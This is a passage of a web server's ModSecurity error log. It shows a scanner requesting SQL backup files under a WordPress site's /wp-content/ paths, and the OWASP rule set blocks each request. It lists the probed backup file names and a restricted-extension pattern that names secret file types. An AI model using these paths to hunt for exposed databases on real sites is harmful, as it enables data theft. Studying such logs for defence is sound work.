[Thu Feb 26 01:03:31.267511 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsQAAAAA&quot;]
[Thu Feb 26 01:03:31.267980 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsQAAAAA&quot;]
[Thu Feb 26 01:03:31.268135 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/uploads/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsQAAAAA&quot;]
[Thu Feb 26 01:03:31.305455 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsgAAAAA&quot;]
[Thu Feb 26 01:03:31.305965 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsgAAAAA&quot;]
[Thu Feb 26 01:03:31.306126 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/db_backup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizsgAAAAA&quot;]
[Thu Feb 26 01:03:31.310042 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigwAAAAE&quot;]
[Thu Feb 26 01:03:31.310707 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigwAAAAE&quot;]
[Thu Feb 26 01:03:31.310874 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/data.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLigwAAAAE&quot;]
[Thu Feb 26 01:03:31.350594 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizswAAAAA&quot;]
[Thu Feb 26 01:03:31.351073 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizswAAAAA&quot;]
[Thu Feb 26 01:03:31.351232 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullbackup.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXizswAAAAA&quot;]
[Thu Feb 26 01:03:31.366047 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihAAAAAE&quot;]
[Thu Feb 26 01:03:31.366539 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihAAAAAE&quot;]
[Thu Feb 26 01:03:31.366727 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backup/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihAAAAAE&quot;]
[Thu Feb 26 01:03:31.374716 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztAAAAAA&quot;]
[Thu Feb 26 01:03:31.375172 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztAAAAAA&quot;]
[Thu Feb 26 01:03:31.375357 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/fullwebsite.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztAAAAAA&quot;]
[Thu Feb 26 01:03:31.394755 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihQAAAAE&quot;]
[Thu Feb 26 01:03:31.395254 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihQAAAAE&quot;]
[Thu Feb 26 01:03:31.395412 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/backups/database.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihQAAAAE&quot;]
[Thu Feb 26 01:03:31.422081 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztQAAAAA&quot;]
[Thu Feb 26 01:03:31.422625 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztQAAAAA&quot;]
[Thu Feb 26 01:03:31.423455 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/data.sql&quot;] [unique_id &quot;aZ-N0ySJSniLip0oFXiztQAAAAA&quot;]
[Thu Feb 26 01:03:31.426235 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihgAAAAE&quot;]
[Thu Feb 26 01:03:31.426701 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihgAAAAE&quot;]
[Thu Feb 26 01:03:31.426856 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/wordpress.sql&quot;] [unique_id &quot;aZ-N0zAL5Lg_nL66HcLihgAAAAE&quot;]
[Thu Feb 26 01:03:31.454259 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag 